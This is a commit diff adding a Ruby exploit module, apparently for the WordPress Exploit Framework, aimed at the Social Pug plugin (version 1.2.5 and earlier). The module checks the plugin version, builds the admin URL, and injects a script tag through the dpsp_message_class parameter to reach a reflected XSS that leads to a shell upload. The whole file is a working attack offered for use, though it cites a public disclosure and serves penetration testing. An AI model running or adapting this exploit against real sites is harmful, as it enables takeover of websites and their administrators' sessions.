Add Social Pug reflected XSS shell upload

Author: rastating

modules/exploits/social_pug_reflected_xss_shell_upload.rb

@@ -0,0 +1,32 @@
+class Wpxf::Exploit::SocialPugReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Social Share Buttons - Social Pug <= 1.2.5 Reflected XSS Shell Upload',
+      author: [
+        'Tom Adams',                      # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8692'],
+        ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/37']
+      ],
+      date: 'Dec 09 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('social-pug', '1.2.6')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php')
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=dpsp-toolkit&settings-updated=1&dpsp_message_id=0&dpsp_message_class=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C/script%3E"
+  end
+end